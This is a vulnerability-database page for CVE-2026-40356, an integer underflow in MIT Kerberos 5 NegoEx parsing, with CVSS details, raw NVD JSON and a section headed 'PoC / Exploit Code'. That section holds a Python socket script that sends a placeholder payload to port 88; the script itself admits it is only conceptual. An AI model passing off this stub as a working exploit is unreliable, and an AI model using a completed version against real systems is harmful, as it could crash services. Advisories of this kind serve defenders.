Security Vulnerability Report
中文
CVE-2026-40356 CVSS 5.9 MEDIUM

CVE-2026-40356

Published: 2026-04-28 07:16:03
Last Modified: 2026-04-28 20:11:57

Description

In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MIT Kerberos 5 < 1.22.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Target configuration target_ip = "127.0.0.1" target_port = 88 # Default Kerberos port # Malformed payload to trigger integer underflow in NegoEx parsing # Note: This is a conceptual PoC demonstrating the network interaction. # Actual exploit requires specific NegoEx token crafting. payload = b"\x60\x00\x00\x00" # Simplified ASN.1/GSSAPI structure placeholder def send_exploit(): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # Send the malicious payload s.send(payload) print("[+] Payload sent successfully") # Optional: Receive response to check if service crashed response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40356", "sourceIdentifier": "[email protected]", "published": "2026-04-28T07:16:03.197", "lastModified": "2026-04-28T20:11:56.713", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In MIT Kerberos 5 (aka krb5) before 1.22.3, there is an integer underflow and resultant out-of-bounds read if an application calls gss_accept_sec_context() on a system with a NegoEx mechanism registered in /etc/gss/mech. An unauthenticated remote attacker can trigger this, possibly causing the process to terminate in parse_message."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "references": [{"url": "https://cems.fun/2026/04/27/krb5-two-unauthenticated-network-vulnerabilities.html", "source": "[email protected]"}, {"url": "https://github.com/krb5/krb5/commit/2e75f0d9362fb979f5fc92829431a590a130929f", "source": "[email protected]"}, {"url": "https://web.mit.edu/kerberos/advisories/", "source": "[email protected]"}]}}